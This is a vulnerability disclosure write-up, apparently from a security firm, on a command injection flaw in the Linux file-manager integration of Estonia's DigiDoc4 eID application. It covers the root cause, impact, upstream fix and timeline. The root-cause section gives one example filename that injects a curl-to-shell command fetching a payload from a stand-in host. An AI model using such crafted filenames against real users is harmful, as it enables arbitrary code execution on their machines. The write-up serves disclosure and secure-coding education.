Reg. No. 40203410806 VAT LV40203410806

Theme

Book a consultation Book

04 / 08 Vulnerability disclosure

Command injection fixed in Estonia’s national eID software

DigiDoc4 – Estonia’s official eID signing application

OffSeq found and fixed an OS command injection flaw in DigiDoc4, Estonia's official national eID desktop application. The Linux file-manager integration built shell commands from unsanitised filenames, so a specially crafted filename could execute arbitrary code the moment a user chose to sign or encrypt that file. The fix, which replaced the shell invocation with a safe argument list, was accepted upstream.

Severity: Critical 4 min read

§ 01. Overview

DigiDoc4 is Estonia's official national eID desktop application, published by the Estonian Information System Authority (RIA) and developed on the open-source open-eid stack. Estonian residents use it to produce legally binding digital signatures and to encrypt documents with their ID-card, Mobile-ID or Smart-ID credentials, making it a piece of critical national infrastructure across Estonia and the wider Baltic region.

On Linux, DigiDoc4 ships a file-manager integration for the Nautilus file manager. This adds right-click context-menu entries — "Sign digitally" and "Encrypt files" — so a user can act on documents directly from their desktop. OffSeq found that this integration constructed the command used to launch the client in an unsafe way, turning an ordinary filename into an attacker-controlled execution vector.

§ 02. How it works (root cause)

The Nautilus extension built its command line by concatenating the selected file's path into a single string and handing that string to the shell via Python's os.system(). In effect the code did the equivalent of os.system("qdigidoc4 " + args + "&"), where args contained the quoted file path and the trailing & backgrounded the process. Because os.system() runs its argument through /bin/sh, every shell metacharacter in the path was interpreted rather than treated as literal data.

Linux filenames are permissive: they may contain double quotes, semicolons, dollar signs, backticks, pipes and other characters that are meaningful to a shell. A file named so that it closed the quoting and appended its own command — conceptually x"; curl evil.example/payload | sh; " — would break out of the intended argument and have its payload executed by the shell. This is a classic OS command injection (CWE-78): untrusted input crosses into a command interpreter without sanitisation or separation between code and data.

The dangerous part is that no unusual user action is required. Simply right-clicking a maliciously named file and choosing to sign or encrypt it — the normal, expected workflow — triggered the injection. Such a file could arrive by any ordinary means: a download, an email attachment, a shared folder or a USB stick.

§ 03. Impact

Exploitation yields arbitrary command execution in the context of the victim's user account, reached through nothing more than the application's intended signing/encryption flow. On a machine used for legally binding digital signatures, that account typically holds exactly the assets an attacker wants: access to the ID-card and PIN entry, signing operations, and the user's documents and credentials.

Because the file-manager integration is part of the standard Linux experience, the exposure was broad rather than a niche edge case. The trigger — receiving a file and choosing to sign or encrypt it — is precisely what the software exists to do, so a user following normal, cautious habits would still be compromised. That combination of a critical primitive (arbitrary code execution) with a low-effort, high-plausibility delivery path is what makes the finding severe.

§ 04. The fix

OffSeq submitted a fix that removes the shell from the equation entirely. Instead of assembling one string and passing it to os.system(), the extension now launches the client with subprocess.Popen() and an explicit argument list. Each filename is delivered to the new process as a separate, literal argument via execvp(), so the shell never parses it and there is no metacharacter interpretation — the injection surface disappears rather than being escaped or filtered.

The original code appended a trailing & so the client would run in the background; the replacement preserves that behavior with start_new_session=True, so the fix is functionally equivalent for users while being safe by construction. Passing arguments as a list rather than building a shell command is the standard, recommended remedy for this class of bug.

The change was contributed as pull request open-eid/DigiDoc4-Client #1407, reviewed by the upstream maintainers, and merged into the official repository.

§ 05. Disclosure timeline

  1. 2026-05-13 OffSeq reports the OS command injection in DigiDoc4 and submits a fix upstream (PR #1407)
  2. 2026-06-15 Fix reviewed and merged by the open-eid maintainers
  3. 2026 Write-up published by Nils Putniņš

Have similar exposure in your environment?

[email protected] +371 2256 5353